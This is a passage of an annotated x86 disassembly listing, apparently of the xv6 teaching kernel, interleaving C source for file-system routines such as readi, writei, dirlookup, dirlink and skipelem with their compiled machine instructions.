struct buf *bp;
if(ip->type == T_DEV){
80101d71: 8b 45 08 mov 0x8(%ebp),%eax
80101d74: 0f b7 40 10 movzwl 0x10(%eax),%eax
80101d78: 66 83 f8 03 cmp $0x3,%ax
80101d7c: 75 60 jne 80101dde <readi+0x73>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101d7e: 8b 45 08 mov 0x8(%ebp),%eax
80101d81: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101d85: 66 85 c0 test %ax,%ax
80101d88: 78 20 js 80101daa <readi+0x3f>
80101d8a: 8b 45 08 mov 0x8(%ebp),%eax
80101d8d: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101d91: 66 83 f8 09 cmp $0x9,%ax
80101d95: 7f 13 jg 80101daa <readi+0x3f>
80101d97: 8b 45 08 mov 0x8(%ebp),%eax
80101d9a: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101d9e: 98 cwtl
80101d9f: 8b 04 c5 00 22 11 80 mov -0x7feede00(,%eax,8),%eax
80101da6: 85 c0 test %eax,%eax
80101da8: 75 0a jne 80101db4 <readi+0x49>
return -1;
80101daa: b8 ff ff ff ff mov $0xffffffff,%eax
80101daf: e9 19 01 00 00 jmp 80101ecd <readi+0x162>
return devsw[ip->major].read(ip, dst, n);
80101db4: 8b 45 08 mov 0x8(%ebp),%eax
80101db7: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101dbb: 98 cwtl
80101dbc: 8b 04 c5 00 22 11 80 mov -0x7feede00(,%eax,8),%eax
80101dc3: 8b 55 14 mov 0x14(%ebp),%edx
80101dc6: 89 54 24 08 mov %edx,0x8(%esp)
80101dca: 8b 55 0c mov 0xc(%ebp),%edx
80101dcd: 89 54 24 04 mov %edx,0x4(%esp)
80101dd1: 8b 55 08 mov 0x8(%ebp),%edx
80101dd4: 89 14 24 mov %edx,(%esp)
80101dd7: ff d0 call *%eax
80101dd9: e9 ef 00 00 00 jmp 80101ecd <readi+0x162>
}
if(off > ip->size || off + n < off)
80101dde: 8b 45 08 mov 0x8(%ebp),%eax
80101de1: 8b 40 18 mov 0x18(%eax),%eax
80101de4: 3b 45 10 cmp 0x10(%ebp),%eax
80101de7: 72 0d jb 80101df6 <readi+0x8b>
80101de9: 8b 45 14 mov 0x14(%ebp),%eax
80101dec: 8b 55 10 mov 0x10(%ebp),%edx
80101def: 01 d0 add %edx,%eax
80101df1: 3b 45 10 cmp 0x10(%ebp),%eax
80101df4: 73 0a jae 80101e00 <readi+0x95>
return -1;
80101df6: b8 ff ff ff ff mov $0xffffffff,%eax
80101dfb: e9 cd 00 00 00 jmp 80101ecd <readi+0x162>
if(off + n > ip->size)
80101e00: 8b 45 14 mov 0x14(%ebp),%eax
80101e03: 8b 55 10 mov 0x10(%ebp),%edx
80101e06: 01 c2 add %eax,%edx
80101e08: 8b 45 08 mov 0x8(%ebp),%eax
80101e0b: 8b 40 18 mov 0x18(%eax),%eax
80101e0e: 39 c2 cmp %eax,%edx
80101e10: 76 0c jbe 80101e1e <readi+0xb3>
n = ip->size - off;
80101e12: 8b 45 08 mov 0x8(%ebp),%eax
80101e15: 8b 40 18 mov 0x18(%eax),%eax
80101e18: 2b 45 10 sub 0x10(%ebp),%eax
80101e1b: 89 45 14 mov %eax,0x14(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101e1e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101e25: e9 94 00 00 00 jmp 80101ebe <readi+0x153>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101e2a: 8b 45 10 mov 0x10(%ebp),%eax
80101e2d: c1 e8 09 shr $0x9,%eax
80101e30: 89 44 24 04 mov %eax,0x4(%esp)
80101e34: 8b 45 08 mov 0x8(%ebp),%eax
80101e37: 89 04 24 mov %eax,(%esp)
80101e3a: e8 c1 fc ff ff call 80101b00 <bmap>
80101e3f: 8b 55 08 mov 0x8(%ebp),%edx
80101e42: 8b 12 mov (%edx),%edx
80101e44: 89 44 24 04 mov %eax,0x4(%esp)
80101e48: 89 14 24 mov %edx,(%esp)
80101e4b: e8 56 e3 ff ff call 801001a6 <bread>
80101e50: 89 45 f0 mov %eax,-0x10(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
80101e53: 8b 45 10 mov 0x10(%ebp),%eax
80101e56: 25 ff 01 00 00 and $0x1ff,%eax
80101e5b: 89 c2 mov %eax,%edx
80101e5d: b8 00 02 00 00 mov $0x200,%eax
80101e62: 29 d0 sub %edx,%eax
80101e64: 89 c2 mov %eax,%edx
80101e66: 8b 45 f4 mov -0xc(%ebp),%eax
80101e69: 8b 4d 14 mov 0x14(%ebp),%ecx
80101e6c: 29 c1 sub %eax,%ecx
80101e6e: 89 c8 mov %ecx,%eax
80101e70: 39 c2 cmp %eax,%edx
80101e72: 0f 46 c2 cmovbe %edx,%eax
80101e75: 89 45 ec mov %eax,-0x14(%ebp)
memmove(dst, bp->data + off%BSIZE, m);
80101e78: 8b 45 10 mov 0x10(%ebp),%eax
80101e7b: 25 ff 01 00 00 and $0x1ff,%eax
80101e80: 8d 50 10 lea 0x10(%eax),%edx
80101e83: 8b 45 f0 mov -0x10(%ebp),%eax
80101e86: 01 d0 add %edx,%eax
80101e88: 8d 50 08 lea 0x8(%eax),%edx
80101e8b: 8b 45 ec mov -0x14(%ebp),%eax
80101e8e: 89 44 24 08 mov %eax,0x8(%esp)
80101e92: 89 54 24 04 mov %edx,0x4(%esp)
80101e96: 8b 45 0c mov 0xc(%ebp),%eax
80101e99: 89 04 24 mov %eax,(%esp)
80101e9c: e8 e8 36 00 00 call 80105589 <memmove>
brelse(bp);
80101ea1: 8b 45 f0 mov -0x10(%ebp),%eax
80101ea4: 89 04 24 mov %eax,(%esp)
80101ea7: e8 6b e3 ff ff call 80100217 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101eac: 8b 45 ec mov -0x14(%ebp),%eax
80101eaf: 01 45 f4 add %eax,-0xc(%ebp)
80101eb2: 8b 45 ec mov -0x14(%ebp),%eax
80101eb5: 01 45 10 add %eax,0x10(%ebp)
80101eb8: 8b 45 ec mov -0x14(%ebp),%eax
80101ebb: 01 45 0c add %eax,0xc(%ebp)
80101ebe: 8b 45 f4 mov -0xc(%ebp),%eax
80101ec1: 3b 45 14 cmp 0x14(%ebp),%eax
80101ec4: 0f 82 60 ff ff ff jb 80101e2a <readi+0xbf>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
80101eca: 8b 45 14 mov 0x14(%ebp),%eax
}
80101ecd: c9 leave
80101ece: c3 ret
80101ecf <writei>:
// PAGEBREAK!
// Write data to inode.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101ecf: 55 push %ebp
80101ed0: 89 e5 mov %esp,%ebp
80101ed2: 83 ec 28 sub $0x28,%esp
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101ed5: 8b 45 08 mov 0x8(%ebp),%eax
80101ed8: 0f b7 40 10 movzwl 0x10(%eax),%eax
80101edc: 66 83 f8 03 cmp $0x3,%ax
80101ee0: 75 60 jne 80101f42 <writei+0x73>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
80101ee2: 8b 45 08 mov 0x8(%ebp),%eax
80101ee5: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101ee9: 66 85 c0 test %ax,%ax
80101eec: 78 20 js 80101f0e <writei+0x3f>
80101eee: 8b 45 08 mov 0x8(%ebp),%eax
80101ef1: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101ef5: 66 83 f8 09 cmp $0x9,%ax
80101ef9: 7f 13 jg 80101f0e <writei+0x3f>
80101efb: 8b 45 08 mov 0x8(%ebp),%eax
80101efe: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101f02: 98 cwtl
80101f03: 8b 04 c5 04 22 11 80 mov -0x7feeddfc(,%eax,8),%eax
80101f0a: 85 c0 test %eax,%eax
80101f0c: 75 0a jne 80101f18 <writei+0x49>
return -1;
80101f0e: b8 ff ff ff ff mov $0xffffffff,%eax
80101f13: e9 44 01 00 00 jmp 8010205c <writei+0x18d>
return devsw[ip->major].write(ip, src, n);
80101f18: 8b 45 08 mov 0x8(%ebp),%eax
80101f1b: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101f1f: 98 cwtl
80101f20: 8b 04 c5 04 22 11 80 mov -0x7feeddfc(,%eax,8),%eax
80101f27: 8b 55 14 mov 0x14(%ebp),%edx
80101f2a: 89 54 24 08 mov %edx,0x8(%esp)
80101f2e: 8b 55 0c mov 0xc(%ebp),%edx
80101f31: 89 54 24 04 mov %edx,0x4(%esp)
80101f35: 8b 55 08 mov 0x8(%ebp),%edx
80101f38: 89 14 24 mov %edx,(%esp)
80101f3b: ff d0 call *%eax
80101f3d: e9 1a 01 00 00 jmp 8010205c <writei+0x18d>
}
if(off > ip->size || off + n < off)
80101f42: 8b 45 08 mov 0x8(%ebp),%eax
80101f45: 8b 40 18 mov 0x18(%eax),%eax
80101f48: 3b 45 10 cmp 0x10(%ebp),%eax
80101f4b: 72 0d jb 80101f5a <writei+0x8b>
80101f4d: 8b 45 14 mov 0x14(%ebp),%eax
80101f50: 8b 55 10 mov 0x10(%ebp),%edx
80101f53: 01 d0 add %edx,%eax
80101f55: 3b 45 10 cmp 0x10(%ebp),%eax
80101f58: 73 0a jae 80101f64 <writei+0x95>
return -1;
80101f5a: b8 ff ff ff ff mov $0xffffffff,%eax
80101f5f: e9 f8 00 00 00 jmp 8010205c <writei+0x18d>
if(off + n > MAXFILE*BSIZE)
80101f64: 8b 45 14 mov 0x14(%ebp),%eax
80101f67: 8b 55 10 mov 0x10(%ebp),%edx
80101f6a: 01 d0 add %edx,%eax
80101f6c: 3d 00 18 01 00 cmp $0x11800,%eax
80101f71: 76 0a jbe 80101f7d <writei+0xae>
return -1;
80101f73: b8 ff ff ff ff mov $0xffffffff,%eax
80101f78: e9 df 00 00 00 jmp 8010205c <writei+0x18d>
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101f7d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101f84: e9 9f 00 00 00 jmp 80102028 <writei+0x159>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101f89: 8b 45 10 mov 0x10(%ebp),%eax
80101f8c: c1 e8 09 shr $0x9,%eax
80101f8f: 89 44 24 04 mov %eax,0x4(%esp)
80101f93: 8b 45 08 mov 0x8(%ebp),%eax
80101f96: 89 04 24 mov %eax,(%esp)
80101f99: e8 62 fb ff ff call 80101b00 <bmap>
80101f9e: 8b 55 08 mov 0x8(%ebp),%edx
80101fa1: 8b 12 mov (%edx),%edx
80101fa3: 89 44 24 04 mov %eax,0x4(%esp)
80101fa7: 89 14 24 mov %edx,(%esp)
80101faa: e8 f7 e1 ff ff call 801001a6 <bread>
80101faf: 89 45 f0 mov %eax,-0x10(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
80101fb2: 8b 45 10 mov 0x10(%ebp),%eax
80101fb5: 25 ff 01 00 00 and $0x1ff,%eax
80101fba: 89 c2 mov %eax,%edx
80101fbc: b8 00 02 00 00 mov $0x200,%eax
80101fc1: 29 d0 sub %edx,%eax
80101fc3: 89 c2 mov %eax,%edx
80101fc5: 8b 45 f4 mov -0xc(%ebp),%eax
80101fc8: 8b 4d 14 mov 0x14(%ebp),%ecx
80101fcb: 29 c1 sub %eax,%ecx
80101fcd: 89 c8 mov %ecx,%eax
80101fcf: 39 c2 cmp %eax,%edx
80101fd1: 0f 46 c2 cmovbe %edx,%eax
80101fd4: 89 45 ec mov %eax,-0x14(%ebp)
memmove(bp->data + off%BSIZE, src, m);
80101fd7: 8b 45 10 mov 0x10(%ebp),%eax
80101fda: 25 ff 01 00 00 and $0x1ff,%eax
80101fdf: 8d 50 10 lea 0x10(%eax),%edx
80101fe2: 8b 45 f0 mov -0x10(%ebp),%eax
80101fe5: 01 d0 add %edx,%eax
80101fe7: 8d 50 08 lea 0x8(%eax),%edx
80101fea: 8b 45 ec mov -0x14(%ebp),%eax
80101fed: 89 44 24 08 mov %eax,0x8(%esp)
80101ff1: 8b 45 0c mov 0xc(%ebp),%eax
80101ff4: 89 44 24 04 mov %eax,0x4(%esp)
80101ff8: 89 14 24 mov %edx,(%esp)
80101ffb: e8 89 35 00 00 call 80105589 <memmove>
log_write(bp);
80102000: 8b 45 f0 mov -0x10(%ebp),%eax
80102003: 89 04 24 mov %eax,(%esp)
80102006: e8 1a 16 00 00 call 80103625 <log_write>
brelse(bp);
8010200b: 8b 45 f0 mov -0x10(%ebp),%eax
8010200e: 89 04 24 mov %eax,(%esp)
80102011: e8 01 e2 ff ff call 80100217 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80102016: 8b 45 ec mov -0x14(%ebp),%eax
80102019: 01 45 f4 add %eax,-0xc(%ebp)
8010201c: 8b 45 ec mov -0x14(%ebp),%eax
8010201f: 01 45 10 add %eax,0x10(%ebp)
80102022: 8b 45 ec mov -0x14(%ebp),%eax
80102025: 01 45 0c add %eax,0xc(%ebp)
80102028: 8b 45 f4 mov -0xc(%ebp),%eax
8010202b: 3b 45 14 cmp 0x14(%ebp),%eax
8010202e: 0f 82 55 ff ff ff jb 80101f89 <writei+0xba>
memmove(bp->data + off%BSIZE, src, m);
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
80102034: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
80102038: 74 1f je 80102059 <writei+0x18a>
8010203a: 8b 45 08 mov 0x8(%ebp),%eax
8010203d: 8b 40 18 mov 0x18(%eax),%eax
80102040: 3b 45 10 cmp 0x10(%ebp),%eax
80102043: 73 14 jae 80102059 <writei+0x18a>
ip->size = off;
80102045: 8b 45 08 mov 0x8(%ebp),%eax
80102048: 8b 55 10 mov 0x10(%ebp),%edx
8010204b: 89 50 18 mov %edx,0x18(%eax)
iupdate(ip);
8010204e: 8b 45 08 mov 0x8(%ebp),%eax
80102051: 89 04 24 mov %eax,(%esp)
80102054: e8 49 f6 ff ff call 801016a2 <iupdate>
}
return n;
80102059: 8b 45 14 mov 0x14(%ebp),%eax
}
8010205c: c9 leave
8010205d: c3 ret
8010205e <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
8010205e: 55 push %ebp
8010205f: 89 e5 mov %esp,%ebp
80102061: 83 ec 18 sub $0x18,%esp
return strncmp(s, t, DIRSIZ);
80102064: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
8010206b: 00
8010206c: 8b 45 0c mov 0xc(%ebp),%eax
8010206f: 89 44 24 04 mov %eax,0x4(%esp)
80102073: 8b 45 08 mov 0x8(%ebp),%eax
80102076: 89 04 24 mov %eax,(%esp)
80102079: e8 ae 35 00 00 call 8010562c <strncmp>
}
8010207e: c9 leave
8010207f: c3 ret
80102080 <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
80102080: 55 push %ebp
80102081: 89 e5 mov %esp,%ebp
80102083: 83 ec 38 sub $0x38,%esp
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
80102086: 8b 45 08 mov 0x8(%ebp),%eax
80102089: 0f b7 40 10 movzwl 0x10(%eax),%eax
8010208d: 66 83 f8 01 cmp $0x1,%ax
80102091: 74 0c je 8010209f <dirlookup+0x1f>
panic("dirlookup not DIR");
80102093: c7 04 24 b9 8a 10 80 movl $0x80108ab9,(%esp)
8010209a: e8 9b e4 ff ff call 8010053a <panic>
for(off = 0; off < dp->size; off += sizeof(de)){
8010209f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801020a6: e9 88 00 00 00 jmp 80102133 <dirlookup+0xb3>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
801020ab: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
801020b2: 00
801020b3: 8b 45 f4 mov -0xc(%ebp),%eax
801020b6: 89 44 24 08 mov %eax,0x8(%esp)
801020ba: 8d 45 e0 lea -0x20(%ebp),%eax
801020bd: 89 44 24 04 mov %eax,0x4(%esp)
801020c1: 8b 45 08 mov 0x8(%ebp),%eax
801020c4: 89 04 24 mov %eax,(%esp)
801020c7: e8 9f fc ff ff call 80101d6b <readi>
801020cc: 83 f8 10 cmp $0x10,%eax
801020cf: 74 0c je 801020dd <dirlookup+0x5d>
panic("dirlink read");
801020d1: c7 04 24 cb 8a 10 80 movl $0x80108acb,(%esp)
801020d8: e8 5d e4 ff ff call 8010053a <panic>
if(de.inum == 0)
801020dd: 0f b7 45 e0 movzwl -0x20(%ebp),%eax
801020e1: 66 85 c0 test %ax,%ax
801020e4: 75 02 jne 801020e8 <dirlookup+0x68>
continue;
801020e6: eb 47 jmp 8010212f <dirlookup+0xaf>
if(namecmp(name, de.name) == 0){
801020e8: 8d 45 e0 lea -0x20(%ebp),%eax
801020eb: 83 c0 02 add $0x2,%eax
801020ee: 89 44 24 04 mov %eax,0x4(%esp)
801020f2: 8b 45 0c mov 0xc(%ebp),%eax
801020f5: 89 04 24 mov %eax,(%esp)
801020f8: e8 61 ff ff ff call 8010205e <namecmp>
801020fd: 85 c0 test %eax,%eax
801020ff: 75 2e jne 8010212f <dirlookup+0xaf>
// entry matches path element
if(poff)
80102101: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80102105: 74 08 je 8010210f <dirlookup+0x8f>
*poff = off;
80102107: 8b 45 10 mov 0x10(%ebp),%eax
8010210a: 8b 55 f4 mov -0xc(%ebp),%edx
8010210d: 89 10 mov %edx,(%eax)
inum = de.inum;
8010210f: 0f b7 45 e0 movzwl -0x20(%ebp),%eax
80102113: 0f b7 c0 movzwl %ax,%eax
80102116: 89 45 f0 mov %eax,-0x10(%ebp)
return iget(dp->dev, inum);
80102119: 8b 45 08 mov 0x8(%ebp),%eax
8010211c: 8b 00 mov (%eax),%eax
8010211e: 8b 55 f0 mov -0x10(%ebp),%edx
80102121: 89 54 24 04 mov %edx,0x4(%esp)
80102125: 89 04 24 mov %eax,(%esp)
80102128: e8 2d f6 ff ff call 8010175a <iget>
8010212d: eb 18 jmp 80102147 <dirlookup+0xc7>
struct dirent de;
if(dp->type != T_DIR)
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
8010212f: 83 45 f4 10 addl $0x10,-0xc(%ebp)
80102133: 8b 45 08 mov 0x8(%ebp),%eax
80102136: 8b 40 18 mov 0x18(%eax),%eax
80102139: 3b 45 f4 cmp -0xc(%ebp),%eax
8010213c: 0f 87 69 ff ff ff ja 801020ab <dirlookup+0x2b>
inum = de.inum;
return iget(dp->dev, inum);
}
}
return 0;
80102142: b8 00 00 00 00 mov $0x0,%eax
}
80102147: c9 leave
80102148: c3 ret
80102149 <dirlink>:
// Write a new directory entry (name, inum) into the directory dp.
int
dirlink(struct inode *dp, char *name, uint inum)
{
80102149: 55 push %ebp
8010214a: 89 e5 mov %esp,%ebp
8010214c: 83 ec 38 sub $0x38,%esp
int off;
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
8010214f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80102156: 00
80102157: 8b 45 0c mov 0xc(%ebp),%eax
8010215a: 89 44 24 04 mov %eax,0x4(%esp)
8010215e: 8b 45 08 mov 0x8(%ebp),%eax
80102161: 89 04 24 mov %eax,(%esp)
80102164: e8 17 ff ff ff call 80102080 <dirlookup>
80102169: 89 45 f0 mov %eax,-0x10(%ebp)
8010216c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80102170: 74 15 je 80102187 <dirlink+0x3e>
iput(ip);
80102172: 8b 45 f0 mov -0x10(%ebp),%eax
80102175: 89 04 24 mov %eax,(%esp)
80102178: e8 94 f8 ff ff call 80101a11 <iput>
return -1;
8010217d: b8 ff ff ff ff mov $0xffffffff,%eax
80102182: e9 b7 00 00 00 jmp 8010223e <dirlink+0xf5>
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
80102187: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010218e: eb 46 jmp 801021d6 <dirlink+0x8d>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80102190: 8b 45 f4 mov -0xc(%ebp),%eax
80102193: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
8010219a: 00
8010219b: 89 44 24 08 mov %eax,0x8(%esp)
8010219f: 8d 45 e0 lea -0x20(%ebp),%eax
801021a2: 89 44 24 04 mov %eax,0x4(%esp)
801021a6: 8b 45 08 mov 0x8(%ebp),%eax
801021a9: 89 04 24 mov %eax,(%esp)
801021ac: e8 ba fb ff ff call 80101d6b <readi>
801021b1: 83 f8 10 cmp $0x10,%eax
801021b4: 74 0c je 801021c2 <dirlink+0x79>
panic("dirlink read");
801021b6: c7 04 24 cb 8a 10 80 movl $0x80108acb,(%esp)
801021bd: e8 78 e3 ff ff call 8010053a <panic>
if(de.inum == 0)
801021c2: 0f b7 45 e0 movzwl -0x20(%ebp),%eax
801021c6: 66 85 c0 test %ax,%ax
801021c9: 75 02 jne 801021cd <dirlink+0x84>
break;
801021cb: eb 16 jmp 801021e3 <dirlink+0x9a>
iput(ip);
return -1;
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
801021cd: 8b 45 f4 mov -0xc(%ebp),%eax
801021d0: 83 c0 10 add $0x10,%eax
801021d3: 89 45 f4 mov %eax,-0xc(%ebp)
801021d6: 8b 55 f4 mov -0xc(%ebp),%edx
801021d9: 8b 45 08 mov 0x8(%ebp),%eax
801021dc: 8b 40 18 mov 0x18(%eax),%eax
801021df: 39 c2 cmp %eax,%edx
801021e1: 72 ad jb 80102190 <dirlink+0x47>
panic("dirlink read");
if(de.inum == 0)
break;
}
strncpy(de.name, name, DIRSIZ);
801021e3: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
801021ea: 00
801021eb: 8b 45 0c mov 0xc(%ebp),%eax
801021ee: 89 44 24 04 mov %eax,0x4(%esp)
801021f2: 8d 45 e0 lea -0x20(%ebp),%eax
801021f5: 83 c0 02 add $0x2,%eax
801021f8: 89 04 24 mov %eax,(%esp)
801021fb: e8 82 34 00 00 call 80105682 <strncpy>
de.inum = inum;
80102200: 8b 45 10 mov 0x10(%ebp),%eax
80102203: 66 89 45 e0 mov %ax,-0x20(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80102207: 8b 45 f4 mov -0xc(%ebp),%eax
8010220a: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80102211: 00
80102212: 89 44 24 08 mov %eax,0x8(%esp)
80102216: 8d 45 e0 lea -0x20(%ebp),%eax
80102219: 89 44 24 04 mov %eax,0x4(%esp)
8010221d: 8b 45 08 mov 0x8(%ebp),%eax
80102220: 89 04 24 mov %eax,(%esp)
80102223: e8 a7 fc ff ff call 80101ecf <writei>
80102228: 83 f8 10 cmp $0x10,%eax
8010222b: 74 0c je 80102239 <dirlink+0xf0>
panic("dirlink");
8010222d: c7 04 24 d8 8a 10 80 movl $0x80108ad8,(%esp)
80102234: e8 01 e3 ff ff call 8010053a <panic>
return 0;
80102239: b8 00 00 00 00 mov $0x0,%eax
}
8010223e: c9 leave
8010223f: c3 ret
80102240 <skipelem>:
// skipelem("a", name) = "", setting name = "a"
// skipelem("", name) = skipelem("////", name) = 0
//
static char*
skipelem(char *path, char *name)
{
80102240: 55 push %ebp
80102241: 89 e5 mov %esp,%ebp
80102243: 83 ec 28 sub $0x28,%esp
char *s;
int len;
while(*path == '/')
80102246: eb 04 jmp 8010224c <skipelem+0xc>
path++;
80102248: 83 45 08 01 addl $0x1,0x8(%ebp)
skipelem(char *path, char *name)
{
char *s;
int len;
while(*path == '/')
8010224c: 8b 45 08 mov 0x8(%ebp),%eax
8010224f: 0f b6 00 movzbl (%eax),%eax
80102252: 3c 2f cmp $0x2f,%al
80102254: 74 f2 je 80102248 <skipelem+0x8>
path++;
if(*path == 0)
80102256: 8b 45 08 mov 0x8(%ebp),%eax
80102259: 0f b6 00 movzbl (%eax),%eax
8010225c: 84 c0 test %al,%al
8010225e: 75 0a jne 8010226a <skipelem+0x2a>
return 0;
80102260: b8 00 00 00 00 mov $0x0,%eax
80102265: e9 86 00 00 00 jmp 801022f0 <skipelem+0xb0>
s = path;
8010226a: 8b 45 08 mov 0x8(%ebp),%eax
8010226d: 89 45 f4 mov %eax,-0xc(%ebp)
while(*path != '/' && *path != 0)
80102270: eb 04 jmp 80102276 <skipelem+0x36>
path++;
80102272: 83 45 08 01 addl $0x1,0x8(%ebp)
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
80102276: 8b 45 08 mov 0x8(%ebp),%eax
80102279: 0f b6 00 movzbl (%eax),%eax
8010227c: 3c 2f cmp $0x2f,%al
8010227e: 74 0a je 8010228a <skipelem+0x4a>
80102280: 8b 45 08 mov 0x8(%ebp),%eax
80102283: 0f b6 00 movzbl (%eax),%eax
80102286: 84 c0 test %al,%al
80102288: 75 e8 jne 80102272 <skipelem+0x32>
path++;
len = path - s;
8010228a: 8b 55 08 mov 0x8(%ebp),%edx
8010228d: 8b 45 f4 mov -0xc(%ebp),%eax
80102290: 29 c2 sub %eax,%edx
80102292: 89 d0 mov %edx,%eax
80102294: 89 45 f0 mov %eax,-0x10(%ebp)
if(len >= DIRSIZ)
80102297: 83 7d f0 0d cmpl $0xd,-0x10(%ebp)
8010229b: 7e 1c jle 801022b9 <skipelem+0x79>
memmove(name, s, DIRSIZ);
8010229d: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
801022a4: 00
801022a5: 8b 45 f4 mov -0xc(%ebp),%eax
801022a8: 89 44 24 04 mov %eax,0x4(%esp)
801022ac: 8b 45 0c mov 0xc(%ebp),%eax
801022af: 89 04 24 mov %eax,(%esp)
801022b2: e8 d2 32 00 00 call 80105589 <memmove>
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
801022b7: eb 2a jmp 801022e3 <skipelem+0xa3>
path++;
len = path - s;
if(len >= DIRSIZ)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
801022b9: 8b 45 f0 mov -0x10(%ebp),%eax
801022bc: 89 44 24 08 mov %eax,0x8(%esp)
801022c0: 8b 45 f4 mov -0xc(%ebp),%eax
801022c3: 89 44 24 04 mov %eax,0x4(%esp)
801022c7: 8b 45 0c mov 0xc(%ebp),%eax
801022ca: 89 04 24 mov %eax,(%esp)
801022cd: e8 b7 32 00 00 call 80105589 <memmove>
name[len] = 0;
801022d2: 8b 55 f0 mov -0x10(%ebp),%edx
801022d5: 8b 45 0c mov 0xc(%ebp),%eax
801022d8: 01 d0 add %edx,%eax
801022da: c6 00 00 movb $0x0,(%eax)
}
while(*path == '/')
801022dd: eb 04 jmp 801022e3 <skipelem+0xa3>
path++;
801022df: 83 45 08 01 addl $0x1,0x8(%ebp)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
801022e3: 8b 45 08 mov 0x8(%ebp),%eax
801022e6: 0f b6 00 movzbl (%eax),%eax
801022e9: 3c 2f cmp $0x2f,%al
801022eb: 74 f2 je 801022df <skipelem+0x9f>
path++;
return path;
801022ed: 8b 45 08 mov 0x8(%ebp),%eax
}
801022f0: c9 leave
801022f1: c3 ret
801022f2 <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
801022f2: 55 push %ebp
801022f3: 89 e5 mov %esp,%ebp
801022f5: 83 ec 28 sub $0x28,%esp
struct inode *ip, *next;
if(*path == '/')
801022f8: 8b 45 08 mov 0x8(%ebp),%eax
801022fb: 0f b6 00 movzbl (%eax),%eax
801022fe: 3c 2f cmp $0x2f,%al
80102300: 75 1c jne 8010231e <namex+0x2c>
ip = iget(ROOTDEV, ROOTINO);
80102302: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102309: 00
8010230a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80102311: e8 44 f4 ff ff call 8010175a <iget>
80102316: 89 45 f4 mov %eax,-0xc(%ebp)
else
ip = idup(proc->cwd);
while((path = skipelem(path, name)) != 0){
80102319: e9 af 00 00 00 jmp 801023cd <namex+0xdb>
struct inode *ip, *next;
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
8010231e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80102324: 8b 40 68 mov 0x68(%eax),%eax
80102327: 89 04 24 mov %eax,(%esp)
8010232a: e8 fd f4 ff ff call 8010182c <idup>
8010232f: 89 45 f4 mov %eax,-0xc(%ebp)
while((path = skipelem(path, name)) != 0){
80102332: e9 96 00 00 00 jmp 801023cd <namex+0xdb>
ilock(ip);
80102337: 8b 45 f4 mov -0xc(%ebp),%eax
8010233a: 89 04 24 mov %eax,(%esp)
8010233d: e8 1c f5 ff ff call 8010185e <ilock>
if(ip->type != T_DIR){
80102342: 8b 45 f4 mov -0xc(%ebp),%eax
80102345: 0f b7 40 10 movzwl 0x10(%eax),%eax
80102349: 66 83 f8 01 cmp $0x1,%ax
8010234d: 74 15 je 80102364 <namex+0x72>
iunlockput(ip);
